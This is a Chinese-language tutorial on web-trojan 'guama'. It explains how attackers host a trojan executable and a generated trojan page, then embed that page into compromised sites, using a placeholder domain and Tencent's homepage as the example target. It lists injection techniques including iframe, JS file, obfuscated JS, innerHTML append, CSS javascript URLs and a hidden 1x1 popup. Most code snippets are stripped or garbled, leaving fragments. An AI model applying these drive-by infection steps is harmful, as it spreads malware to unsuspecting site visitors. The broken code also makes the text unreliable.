一、挂马、网马介绍1、挂马
从“挂马”这个词中就知道,它和“木马”脱离不了关系,的确,挂马的目的就是将木马传播出去。
黑客入侵了一些网站之后,将自己编定的网页木马嵌入到其网站的页面(通常是在网站主页)中,利用该网站的流量将自己的网页木马传播出去从而达到自己的目的。
2、网马
网马,即“网页木马”,就是将木马和网页结合在一起,当打开网页的时候就会自动下载并运行其木马程序。
二、网页木马运行原理最初的网页木马就是利用了IE浏览器的ActiveX控件,在运行网页木马的时候会弹出一个控件下载提示,只有经过用户确认后才会运行其中的木马。
目前新型的木马通常利用IE浏览器存在的漏洞来传播网页木马。
当然,现在浏览器不仅仅是指IE,还有很多其它的浏览器,例如:谷歌、百度、360、搜狗、QQ、火狐浏览器......等等。
三、网页挂马步骤1、申请网站空间:将木马程序和网马全部上传到该网站空间,使其可以被访问,假如申请成功后的网站空间地址为“http://www.xxx.com/xxx”;
2、上传木马程序:上传完成后木马的访问地址为“http://www.xxx.com/horse.exe”;
3、使用网页木马生成器生成网马:假如生成后网马地址为“http://www.xxx.com/horse.htm”;
4、进行挂马:将生成后的网马地址嵌入到其他正常的网站页面,假如嵌入到腾讯的主页“http://www.qq.com/index.htm”;
四、网页挂马的实现方式1、框架挂马
代码语言:javascript复制2、JS文件挂马
首先将以下代码:
代码语言:javascript复制document.write("");保存为xxx.js。
则JS挂马代码为:
代码语言:javascript复制 3、JS变形加密muma.txt可改成任意后缀;4、body挂马 5、隐蔽挂马top.document.body.innerHTML = top.document.body.innerHTML + \\\\\'\\\\\'; 6、css挂马body {background-image: url(\\\\\'javascript:document.write("" _ue_custom_node_="true">")\\\\\')}7、JAJA挂马
代码语言:javascript复制
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
script>8、图片伪装
代码语言:javascript复制
center>
html>9、伪装调用
代码语言:javascript复制